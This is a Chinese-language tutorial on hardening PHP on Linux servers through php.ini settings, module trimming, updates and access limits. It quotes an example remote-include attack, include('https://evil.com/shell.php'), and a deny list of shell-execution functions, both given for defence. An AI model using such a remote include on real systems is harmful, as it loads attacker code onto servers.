Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Linux 系統教學 >> Linux 教學

PHP 安全加固指南:Linux 管理員必知的 10 大防護策略

編輯:Linux 教學

環境基準

  • Web 伺服器:Apache
  • DocumentRoot:/var/www/html
  • PHP 設定檔:/etc/php.ini
  • 擴充設定目錄:/etc/php.d/
  • 安全專用設定:/etc/php.d/security.ini

10 大加固策略

1. 精簡模組,減少攻擊面

# 查看已載入模組
php -m

# 移除不需要的模組(編輯 php.ini 或移除 /etc/php.d/*.ini)
# 例如:pdo_sqlite, pdo_mysql 等視專案需求保留

2. 隱藏 PHP 版本資訊

# /etc/php.d/security.ini
expose_php = Off

驗證:curl -I https://example.com/index.php 不再出現 X-Powered-By: PHP/x.x.x

3. 禁用遠端程式碼執行

# /etc/php.d/security.ini
allow_url_fopen = Off
allow_url_include = Off

防止 include('https://evil.com/shell.php') 類型攻擊。

4. 錯誤記錄不顯示於前端

# /etc/php.d/security.ini
display_errors = Off
log_errors = On
error_log = /var/log/httpd/php_scripts_error.log

5. 限制資源消耗

# /etc/php.d/security.ini
max_execution_time = 25      # 秒
max_input_time = 25          # 秒
memory_limit = 30M           # 依應用調整

6. 禁用高風險函數

# /etc/php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

7. 關閉檔案上傳(非必要時)

# /etc/php.d/security.ini
file_uploads = Off

# 若需開啟,限制大小與類型
file_uploads = On
upload_max_filesize = 2M
post_max_size = 8M

8. 保持版本最新

# RHEL/CentOS
yum update php*

# Ubuntu/Debian
apt-get update && apt-get upgrade php*

訂閱安全公告,首日漏洞修補至關重要。

9. 限制檔案系統存取範圍

# /etc/php.d/security.ini
open_basedir = "/var/www/html/:/tmp/"

# 防止存取 /etc/passwd 等敏感路徑

10. 控制 POST 資料大小

# /etc/php.d/security.ini
post_max_size = 1M   # 依業務需求調整

防止大量 POST 資料耗盡記憶體導致 DoS。

驗證清單

# 檢查生效設定
php -i | grep -E 'expose_php|allow_url_fopen|display_errors|open_basedir|disable_functions|post_max_size|memory_limit|max_execution_time'
Copyright © Windows教程網 All Rights Reserved